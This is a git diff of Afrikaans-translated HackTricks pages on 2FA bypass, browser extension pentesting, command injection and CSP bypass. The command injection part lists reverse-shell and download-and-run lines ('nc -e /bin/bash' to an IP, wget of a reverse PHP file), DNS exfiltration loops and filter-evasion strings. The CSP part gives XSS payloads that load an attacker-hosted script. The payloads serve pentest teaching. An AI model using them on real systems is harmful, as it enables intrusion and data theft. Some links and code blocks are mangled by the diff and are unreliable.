* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 2FA/OTP Deurloop
|
||||
# 2FA/OTP Bypass
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
@ -127,7 +127,8 @@ Die bekendmaking van sensitiewe inligting (bv. telefoonnommer) op die 2FA-verifi
|
|||
Die gebruik van lokvalversoeke om brute force pogings te verdoesel of tempo beperkingsmeganismes te mislei, voeg 'n ekstra laag by deurloopstrategieë. Die skep van sulke versoeke vereis 'n genuanseerde begrip van die aansoek se sekuriteitsmaatreëls en tempo beperkingsgedrag.
|
||||
|
||||
## Verwysings
|
||||
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35]("https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35")
|
||||
|
||||
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://github.com/carlospolop/hacktricks/blob/af/pentesting-web/%22https:/medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35%22/README.md)
|
||||
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
||||
|
||||
<details>
|
||||
|
@ -138,4 +139,6 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/c
|
||||
* Ontdek \[**The PEASS Family**]\(https://opensea.io/c
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Browser Uitbreiding Pentesting Metodologie
|
||||
# Browser Extension Pentesting Methodology
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -51,6 +51,7 @@ Verder, inhoudskripte is geskei van hul geassosieerde webbladsye deur in 'n afso
|
|||
'n Chrome-uitbreiding is net 'n ZIP-vouer met 'n [.crx-lêeruitbreiding](https://www.lifewire.com/crx-file-2620391). Die uitbreidingskern is die **`manifest.json`** lêer aan die wortel van die vouer, wat uitleg, toestemmings, en ander konfigurasie-opsies spesifiseer.
|
||||
|
||||
Voorbeeld:
|
||||
|
||||
```json
|
||||
{
|
||||
"manifest_version": 2,
|
||||
|
@ -81,9 +82,11 @@ Voorbeeld:
|
|||
}
|
||||
}
|
||||
```
|
||||
|
||||
### `content_scripts`
|
||||
|
||||
Inhoudskripte word **gelaai** telkens wanneer die gebruiker na 'n ooreenstemmende bladsy **navigeer**, in ons geval enige bladsy wat ooreenstem met die **`https://example.com/*`** uitdrukking en nie ooreenstem met die **`*://*/*/business*`** regex nie. Hulle voer uit **soos die bladsy se eie skripte** en het willekeurige toegang tot die bladsy se [Dokument-voorwerpmodel (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
|
||||
Inhoudskripte word **gelaai** telkens wanneer die gebruiker na 'n ooreenstemmende bladsy **navigeer**, in ons geval enige bladsy wat ooreenstem met die **`https://example.com/*`** uitdrukking en nie ooreenstem met die **`*://*/*/business*`** regex nie. Hulle voer uit **soos die bladsy se eie skripte** en het willekeurige toegang tot die bladsy se [Dokument-voorwerpmodel (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model).
|
||||
|
||||
```json
|
||||
"content_scripts": [
|
||||
{
|
||||
|
@ -98,9 +101,11 @@ Inhoudskripte word **gelaai** telkens wanneer die gebruiker na 'n ooreenstemmend
|
|||
}
|
||||
],
|
||||
```
|
||||
|
||||
Om meer URL's in te sluit of uit te sluit, is dit ook moontlik om **`include_globs`** en **`exclude_globs`** te gebruik.
|
||||
|
||||
Dit is 'n voorbeeld inhoudskrip wat 'n verduidelik-knoppie by die bladsy sal voeg wanneer [die stoor-API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) gebruik word om die `message`-waarde uit die uitbreiding se stoor te haal.
|
||||
|
||||
```js
|
||||
chrome.storage.local.get("message", result =>
|
||||
{
|
||||
|
@ -113,6 +118,7 @@ chrome.runtime.sendMessage("explain");
|
|||
document.body.appendChild(div);
|
||||
});
|
||||
```
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
'n Boodskap word na die uitbreidingsbladsye gestuur deur die inhoudskrip wanneer hierdie knoppie geklik word, deur die gebruik van die [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Dit is as gevolg van die beperking van die inhoudskrip in direkte toegang tot API's, met `storage` wat een van die min uitsonderings is. Vir funksionaliteite buite hierdie uitsonderings word boodskappe na uitbreidingsbladsye gestuur waarmee inhoudskripte kan kommunikeer.
|
||||
|
@ -156,6 +162,7 @@ Vir die programmatiese inspuiting van 'n inhoudskrip, moet die uitbreiding [host
|
|||
{% endcode %}
|
||||
|
||||
* **Spuit 'n JS-lêer in op klik:**
|
||||
|
||||
```javascript
|
||||
// content-script.js
|
||||
document.body.style.backgroundColor = "orange";
|
||||
|
@ -168,7 +175,9 @@ files: ["content-script.js"]
|
|||
});
|
||||
});
|
||||
```
|
||||
|
||||
* **Spuit 'n funksie in** op klik:
|
||||
|
||||
```javascript
|
||||
//service-worker.js - Inject a function
|
||||
function injectedFunction() {
|
||||
|
@ -182,7 +191,9 @@ func : injectedFunction,
|
|||
});
|
||||
});
|
||||
```
|
||||
|
||||
#### Voorbeeld met skryfregte
|
||||
|
||||
```javascript
|
||||
// service-workser.js
|
||||
chrome.scripting.registerContentScripts([{
|
||||
|
@ -195,6 +206,7 @@ js : [ "contentScript.js" ],
|
|||
// Another example
|
||||
chrome.tabs.executeScript(tabId, { file: "content_script.js" });
|
||||
```
|
||||
|
||||
Om meer URL's in te sluit of uit te sluit, is dit ook moontlik om **`include_globs`** en **`exclude_globs`** te gebruik.
|
||||
|
||||
### Inhoudskripte `run_at`
|
||||
|
@ -208,6 +220,7 @@ Die moontlike waardes is:
|
|||
* **`document_end`**: Onmiddellik nadat die DOM voltooi is, maar voor subbronne soos beelde en rame gelaai word.
|
||||
|
||||
#### Via `manifest.json`
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "My extension",
|
||||
|
@ -223,7 +236,9 @@ Die moontlike waardes is:
|
|||
}
|
||||
|
||||
```
|
||||
|
||||
Via **`service-worker.js`**
|
||||
|
||||
```javascript
|
||||
chrome.scripting.registerContentScripts([{
|
||||
id : "test",
|
||||
|
@ -232,21 +247,23 @@ runAt : "document_idle",
|
|||
js : [ "contentScript.js" ],
|
||||
}]);
|
||||
```
|
||||
|
||||
### `agtergrond`
|
||||
|
||||
Boodskappe wat deur inhoudskripte gestuur word, word ontvang deur die **agtergrondbladsy**, wat 'n sentrale rol speel in die koördinering van die uitbreiding se komponente. Veral, die agtergrondbladsy volhard oor die uitbreiding se leeftyd, wat diskreet funksioneer sonder direkte gebruikerinteraksie. Dit besit sy eie Dokumentobjekmodel (DOM), wat komplekse interaksies en toestandsbestuur moontlik maak.
|
||||
|
||||
**Kernpunte**:
|
||||
|
||||
- **Agtergrondbladsy Rol:** Tree op as die senuweesentrum vir die uitbreiding, wat kommunikasie en koördinasie tussen verskeie dele van die uitbreiding verseker.
|
||||
- **Volharding:** Dit is 'n altyd teenwoordige entiteit, onsigbaar vir die gebruiker maar integraal tot die uitbreiding se funksionaliteit.
|
||||
- **Outomatiese Generering:** As nie uitdruklik gedefinieer nie, sal die blaaier outomaties 'n agtergrondbladsy skep. Hierdie outomaties gegenereerde bladsy sal al die agtergrondskripte wat in die uitbreiding se manifest gespesifiseer is, insluit, wat verseker dat die uitbreiding se agtergrondtake vlot funksioneer.
|
||||
* **Agtergrondbladsy Rol:** Tree op as die senuweesentrum vir die uitbreiding, wat kommunikasie en koördinasie tussen verskeie dele van die uitbreiding verseker.
|
||||
* **Volharding:** Dit is 'n altyd teenwoordige entiteit, onsigbaar vir die gebruiker maar integraal tot die uitbreiding se funksionaliteit.
|
||||
* **Outomatiese Generering:** As nie uitdruklik gedefinieer nie, sal die blaaier outomaties 'n agtergrondbladsy skep. Hierdie outomaties gegenereerde bladsy sal al die agtergrondskripte wat in die uitbreiding se manifest gespesifiseer is, insluit, wat verseker dat die uitbreiding se agtergrondtake vlot funksioneer.
|
||||
|
||||
{% hint style="success" %}
|
||||
Die gerief wat deur die blaaier gebied word deur outomaties 'n agtergrondbladsy te genereer (wanneer nie uitdruklik verklaar nie) verseker dat alle nodige agtergrondskripte geïntegreer en operasioneel is, wat die opstelproses van die uitbreiding stroomlyn.
|
||||
{% endhint %}
|
||||
|
||||
Voorbeeld agtergrondskrip:
|
||||
|
||||
```js
|
||||
chrome.runtime.onMessage.addListener((request, sender, sendResponse) =>
|
||||
{
|
||||
|
@ -256,11 +273,12 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
|
|||
}
|
||||
})
|
||||
```
|
||||
|
||||
Dit gebruik die [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) om boodskappe te luister. Wanneer 'n `"verduidelik"` boodskap ontvang word, gebruik dit die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) om 'n bladsy in 'n nuwe oortjie te open.
|
||||
|
||||
Om die agtergrondskrip te foutsoek, kan jy na die **uitbreidingsbesonderhede gaan en die dienswerker inspekteer,** dit sal die ontwikkelaarshulpmiddels met die agtergrondskrip oopmaak:
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/af/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Opsiebladsye en ander
|
||||
|
||||
|
@ -294,9 +312,11 @@ Kyk hoe hierdie instellings werk en hoe hulle misbruik kan word in:
|
|||
'n **Inhoudsbeveiligingsbeleid** kan ook binne die `manifest.json` verklaar word. As een gedefinieer is, kan dit **kwesbaar** wees.
|
||||
|
||||
Die verstekinstelling vir blaaieruitbreidingsbladsye is nogal beperkend:
|
||||
|
||||
```bash
|
||||
script-src 'self'; object-src 'self';
|
||||
```
|
||||
|
||||
Vir meer inligting oor CSP en potensiële omleidings, kyk:
|
||||
|
||||
{% content-ref url="../content-security-policy-csp-bypass/" %}
|
||||
|
@ -307,6 +327,7 @@ Vir meer inligting oor CSP en potensiële omleidings, kyk:
|
|||
|
||||
om 'n webbladsy toegang te gee tot 'n bladsy van 'n Blaaieruitbreiding, 'n `.html` bladsy byvoorbeeld, moet hierdie bladsy genoem word in die **`web_accessible_resources`** veld van die `manifest.json`.\
|
||||
Byvoorbeeld:
|
||||
|
||||
```javascript
|
||||
{
|
||||
...
|
||||
|
@ -323,10 +344,13 @@ Byvoorbeeld:
|
|||
...
|
||||
}
|
||||
```
|
||||
|
||||
Hierdie bladsye is toeganklik in URL soos:
|
||||
|
||||
```
|
||||
chrome-extension://<extension-id>/message.html
|
||||
```
|
||||
|
||||
In openbare uitbreidings is die **uitbreidings-ID toeganklik**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (722).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
@ -350,11 +374,13 @@ Volgens die [**dokumentasie**](https://developer.chrome.com/docs/extensions/refe
|
|||
* As die **`externally_connectable`** sleutel **nie** verklaar word in jou uitbreiding se manifest of as dit verklaar word as **`"ids": ["*"]`**, **kan alle uitbreidings koppel, maar geen webbladsye kan koppel**.
|
||||
* As **spesifieke ID's gespesifiseer** word, soos in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **kan slegs daardie aansoeke koppel**.
|
||||
* As **passings** gespesifiseer word, sal daardie webtoepassings kan koppel:
|
||||
|
||||
```json
|
||||
"matches": [
|
||||
"https://*.google.com/*",
|
||||
"*://*.chromium.org/*",
|
||||
```
|
||||
|
||||
* Indien dit as leeg gespesifiseer word: **`"externally_connectable": {}`**, sal geen app of web kan koppel nie.
|
||||
|
||||
Hoe minder uitbreidings en URL's hier aangedui word, hoe kleiner sal die aanvalsoppervlak wees.
|
||||
|
@ -404,11 +430,11 @@ window.postMessage(
|
|||
|
||||
'n Veilige Post Message kommunikasie moet die egtheid van die ontvangsboodskap nagaan, dit kan gedoen word deur te kyk na:
|
||||
|
||||
- **`event.isTrusted`**: Dit is waar slegs as die gebeurtenis deur 'n gebruikersaksie geaktiveer is
|
||||
- Die inhoudskrip kan 'n boodskap verwag slegs as die gebruiker 'n aksie uitvoer
|
||||
- **Oorsprongsdomein**: mag 'n boodskap verwag slegs 'n lys van toegelate domeine.
|
||||
- Wees baie versigtig as 'n regex gebruik word
|
||||
- **Bron**: `received_message.source !== window` kan gebruik word om te kontroleer of die boodskap van dieselfde venster af kom waar die Inhoudskrip luister.
|
||||
* **`event.isTrusted`**: Dit is waar slegs as die gebeurtenis deur 'n gebruikersaksie geaktiveer is
|
||||
* Die inhoudskrip kan 'n boodskap verwag slegs as die gebruiker 'n aksie uitvoer
|
||||
* **Oorsprongsdomein**: mag 'n boodskap verwag slegs 'n lys van toegelate domeine.
|
||||
* Wees baie versigtig as 'n regex gebruik word
|
||||
* **Bron**: `received_message.source !== window` kan gebruik word om te kontroleer of die boodskap van dieselfde venster af kom waar die Inhoudskrip luister.
|
||||
|
||||
Selfs al word die vorige kontroles uitgevoer, kan dit steeds kwesbaar wees, so kyk na die volgende bladsy vir **potensiële Post Message omseilings**:
|
||||
|
||||
|
@ -449,6 +475,7 @@ Moenie natuurlik **sensitiewe inligting in die kode plaas nie**, aangesien dit *
|
|||
Om die **antwoord** te hanteer, gebruik die teruggekeerde **Promise**. Alhoewel, vir agteruitversoenbaarheid, kan jy steeds 'n **terugroepfunksie** as die laaste argument deurgee.
|
||||
|
||||
Die stuur van 'n versoek van 'n **inhoudskrip** lyk soos dit:
|
||||
|
||||
```javascript
|
||||
(async () => {
|
||||
const response = await chrome.runtime.sendMessage({greeting: "hello"});
|
||||
|
@ -456,7 +483,9 @@ const response = await chrome.runtime.sendMessage({greeting: "hello"});
|
|||
console.log(response);
|
||||
})();
|
||||
```
|
||||
|
||||
Stuur 'n versoek vanaf die **uitbreiding** (gewoonlik 'n **agtergrondskrip**) 'n Inhoudskrip kan die funksies gebruik, behalwe dat jy moet spesifiseer na watter oortjie om dit te stuur. Voorbeeld van hoe om 'n boodskap na die inhoudskrip in die gekose oortjie te stuur:
|
||||
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
||||
(async () => {
|
||||
|
@ -466,7 +495,9 @@ const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"});
|
|||
console.log(response);
|
||||
})();
|
||||
```
|
||||
|
||||
Op die **ontvangende einde**, moet jy 'n [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **gebeurtenisluisteraar** opstel om die boodskap te hanteer. Dit lyk dieselfde vanaf 'n inhoudskrip of uitbreidingsbladsy.
|
||||
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
||||
chrome.runtime.onMessage.addListener(
|
||||
|
@ -479,6 +510,7 @@ sendResponse({farewell: "goodbye"});
|
|||
}
|
||||
);
|
||||
```
|
||||
|
||||
In die voorbeeld wat uitgelig is, is **`sendResponse()`** op 'n sinchroniese manier uitgevoer. Om die `onMessage`-gebeurtenishanterer te wysig vir asynchrone uitvoering van `sendResponse()`, is dit noodsaaklik om `return true;` in te sluit.
|
||||
|
||||
'n Belangrike oorweging is dat in scenario's waar meerdere bladsye ingestel is om `onMessage`-gebeurtenisse te ontvang, **die eerste bladsy wat `sendResponse()` uitvoer** vir 'n spesifieke gebeurtenis, sal die enigste wees wat die respons effektief kan aflewer. Enige volgende reaksies op dieselfde gebeurtenis sal nie in ag geneem word nie.
|
||||
|
@ -503,11 +535,13 @@ Die bronkode van 'n Chrome-uitbreiding kan as 'n ZIP-lêer afgelaai word deur di
|
|||
|
||||
1. Vervang `"extension_id"` met die werklike ID van die uitbreiding.
|
||||
2. Voer die volgende opdragte uit:
|
||||
|
||||
```bash
|
||||
extension_id=your_extension_id # Replace with the actual extension ID
|
||||
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
||||
unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
```
|
||||
|
||||
### Gebruik die CRX Viewer-webwerf
|
||||
|
||||
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
|
||||
|
@ -552,8 +586,8 @@ Alhoewel Blaaieruitbreidings 'n **beperkte aanvalsvlak** het, mag sommige van hu
|
|||
* [ ] Indien Post Messages gebruik word, kyk vir [**Post Message kwesbaarhede**](../postmessage-vulnerabilities/)**.**
|
||||
* [ ] As die **Inhoudskrip toegang tot DOM-detail** het, kyk dat hulle nie 'n XSS inbring nie as hulle deur die web **gewysig** word
|
||||
* [ ] Maak 'n spesiale klem as hierdie kommunikasie ook betrokke is by die **Inhoudskrip -> Agtergrondskripskommunikasie**
|
||||
* **Sensitiewe inligting moet nie** binne die Blaaieruitbreiding se **kode** gestoor word nie
|
||||
* **Sensitiewe inligting moet nie** binne die Blaaieruitbreiding se **geheue** gestoor word nie
|
||||
* [ ] **Sensitiewe inligting moet nie** binne die Blaaieruitbreiding se **kode** gestoor word nie
|
||||
* [ ] **Sensitiewe inligting moet nie** binne die Blaaieruitbreiding se **geheue** gestoor word nie
|
||||
|
||||
## Gereedskap
|
||||
|
||||
|
@ -604,6 +638,7 @@ Projek Neto is 'n Python 3-pakket wat ontwerp is om die analise en ontrafeling v
|
|||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* Indien jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Opdraginskakeling
|
||||
# Command Injection
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -30,6 +30,7 @@ Kry Vandag Toegang:
|
|||
Afhanklik van **waar jou inset ingespuit word** mag jy die **aanhalingstekenskonteks beëindig** (deur `"` of `'`) voor die opdragte.
|
||||
|
||||
## Opdraginskakeling/Uitvoering
|
||||
|
||||
```bash
|
||||
#Both Unix and Windows supported
|
||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||
|
@ -48,23 +49,27 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
|
||||
### **Beperkingontduiking**
|
||||
|
||||
Indien jy probeer om **willekeurige bevele binne 'n Linux-masjien uit te voer** sal jy belangstel wees om oor hierdie **Beperkingontduiking** te lees:
|
||||
|
||||
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
|
||||
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
|
||||
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Voorbeelde**
|
||||
|
||||
```
|
||||
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
|
||||
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
||||
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
||||
```
|
||||
|
||||
### Parameters
|
||||
|
||||
Hier is die top 25 parameters wat vatbaar kan wees vir kode inspuiting en soortgelyke RCE kwesbaarhede (van [skakel](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
|
@ -92,9 +97,11 @@ Hier is die top 25 parameters wat vatbaar kan wees vir kode inspuiting en soortg
|
|||
?run={payload}
|
||||
?print={payload}
|
||||
```
|
||||
|
||||
### Tydgebase data uitlekking
|
||||
|
||||
Data word geëkstraeer: karakter vir karakter
|
||||
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
|
@ -106,9 +113,11 @@ real 0m0.002s
|
|||
user 0m0.000s
|
||||
sys 0m0.000s
|
||||
```
|
||||
|
||||
### DNS-gebaseerde data-eksfiltrering
|
||||
|
||||
Gebaseer op die gereedskap van `https://github.com/HoLyVieR/dnsbin` ook gehuisves by dnsbin.zhack.ca
|
||||
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
|
@ -118,17 +127,20 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
|
||||
### Filtrasie omseil
|
||||
|
||||
#### Windows
|
||||
|
||||
```
|
||||
powershell C:**2\n??e*d.*? # notepad
|
||||
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
|
||||
```
|
||||
|
||||
#### Linux
|
||||
|
||||
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
|
||||
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
|
||||
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Brute-Force Detection List
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Inhoudsbeveiligingsbeleid (CSP) Omleiding
|
||||
# Content Security Policy (CSP) Bypass
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -36,13 +36,17 @@ Inhoudsbeveiligingsbeleid (CSP) word erken as 'n webblaaitegnologie, hoofsaaklik
|
|||
Implementering van CSP word gedoen deur **responskoppe** of deur **meta-elemente in die HTML-bladsy** in te sluit. Volgens hierdie beleid dwing blaaier aktief hierdie bepalings af en blokkeer onmiddellik enige opgespoorde oortredings.
|
||||
|
||||
* Geïmplementeer via responskop:
|
||||
|
||||
```
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
|
||||
* Geïmplementeer via meta-tag:
|
||||
|
||||
```xml
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||||
```
|
||||
|
||||
### Opkopies
|
||||
|
||||
CSP kan afgedwing of gemonitor word deur hierdie opkopies te gebruik:
|
||||
|
@ -53,6 +57,7 @@ CSP kan afgedwing of gemonitor word deur hierdie opkopies te gebruik:
|
|||
### Definiëring van Hulpbronne
|
||||
|
||||
CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, wat aspekte soos inline JavaScript-uitvoering en die gebruik van `eval()` beheer. 'n Voorbeeldbeleid is:
|
||||
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
|
@ -64,6 +69,7 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
|
|||
media-src https://videos.cdn.mozilla.net;
|
||||
object-src 'none';
|
||||
```
|
||||
|
||||
### Riglyne
|
||||
|
||||
* **script-src**: Laat spesifieke bronne toe vir JavaScript, insluitend URL's, inline skripte, en skripte wat geaktiveer word deur gebeurtenishanteerders of XSLT-stylblaaie.
|
||||
|
@ -102,15 +108,9 @@ object-src 'none';
|
|||
<details>
|
||||
|
||||
<summary>Laai skrip deur nonce te hergebruik</summary>
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img src=x ng-on-error='
|
||||
doc=$event.target.ownerDocument;
|
||||
a=doc.defaultView.top.document.querySelector("[nonce]");
|
||||
b=doc.createElement("script");
|
||||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||
```
|
||||
|
||||
\`\`\`html ![](https://github.com/carlospolop/hacktricks/blob/af/pentesting-web/content-security-policy-csp-bypass/x) \`\`\`
|
||||
|
||||
</details>
|
||||
|
||||
* `'sha256-<hash>'`: Witlys skripte met 'n spesifieke sha256-hash.
|
||||
|
@ -122,14 +122,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
* `'report-sample'`: Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
|
||||
* `'strict-origin'`: Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige bronne kan hulpbronne van veilige bronne laai).
|
||||
* `'strict-origin-when-cross-origin'`: Stuur volledige URL's wanneer dieselfde-oorsprongversoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.
|
||||
* `'unsafe-allow-redirects'`: Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal omskakel. Nie aanbeveel nie omdat dit die sekuriteit verswak.
|
||||
* `'unsafe-allow-redirects'`: Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal omskakel. Nie aanbeveel nie omdat dit die sekuriteit verswak.
|
||||
|
||||
## Onveilige CSP-reëls
|
||||
|
||||
### 'unsafe-inline'
|
||||
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
|
||||
### Werkende lading: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline' via Iframes
|
||||
|
@ -139,50 +141,66 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
|||
{% endcontent-ref %}
|
||||
|
||||
### 'unsafe-eval'
|
||||
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
|
||||
### Werkende lading:
|
||||
|
||||
```html
|
||||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
||||
```
|
||||
|
||||
### streng-dinamies
|
||||
|
||||
Indien jy op een of ander manier kan bewerkstellig dat **toegelate JS-kode 'n nuwe skriptag in die DOM met jou JS-kode skep**, sal die **nuwe skriptag toegelaat word om uitgevoer te word** omdat 'n toegelate skrip dit skep.
|
||||
|
||||
### Wildcard (\*)
|
||||
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
|
||||
Werkende lading:
|
||||
|
||||
```markup
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
```
|
||||
|
||||
### Gebrek aan object-src en default-src
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Dit lyk of dit nie meer werk nie**
|
||||
{% endhint %}
|
||||
|
||||
```yaml
|
